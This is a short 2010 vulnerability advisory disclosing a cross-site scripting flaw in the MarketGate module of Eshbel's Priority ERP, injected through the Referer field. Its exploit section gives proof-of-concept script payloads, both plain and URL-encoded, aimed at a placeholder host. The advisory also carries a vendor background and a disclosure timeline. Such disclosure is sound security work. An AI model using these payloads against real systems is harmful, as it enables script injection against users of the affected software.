========================================= Yaniv Miron aka "Lament" Advisory Feb 27, 2010 Eshbel Priority MarketGate module Cross Site Scripting Vulnerability ========================================= ===================== I. BACKGROUND ===================== Priority&#65533;s ERP The features listed below are a selection of some of the functionality available in a selection of the Priority modules. BI (Business Intelligence), Purchasing, BPM (Business Process Management), Manufacturing/Production, GL + Financials, Human Resources, CRM (Customer Relations Management), Project Management, Order Processing, System Administration, Service and Customer Support, SDK (Generators), Inventory Control, User Configuration, WMS http://www.eshbel.com//ERP-Feature.htm ===================== II. DESCRIPTION ===================== A malicious attacker may inject scripts into the Priority&#65533;s ERP application using the "Referer" field. ===================== III. ANALYSIS ===================== Exploitation of this vulnerability results in the execution of arbitrary code using a malicious "Referer" field. ===================== IV. EXPLOIT ===================== http://example.com/marketgate/PriHtml.dll/WWWxxxxxxxx Referer: http://example.com/marketgate/priorSysMan.htm WWWxxxxxxxx=>"'><script>alert(31337)</script>&_yyyyyyyy=>"'><script>alert(31337)</script> ------------------------------------------------------------------------------------------------------------------------------------- Referer: http://example.com/marketgate/priorSysMan.htm WWWxxxxxxxx=%3E%22%27%3E%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E&_yyyyyyyy=%3E%22%27%3E% 3Cscript%3Ealert%2831337%29%3C%2Fscript%3E ===================== V. DISCLOSURE TIMELINE ===================== Jan 2009 Vulnerability Found Jan 2009 Vendor Notification Feb 2010 Public Disclosure ===================== VI. CREDIT ===================== Yaniv Miron aka "Lament". lament@ilhack.org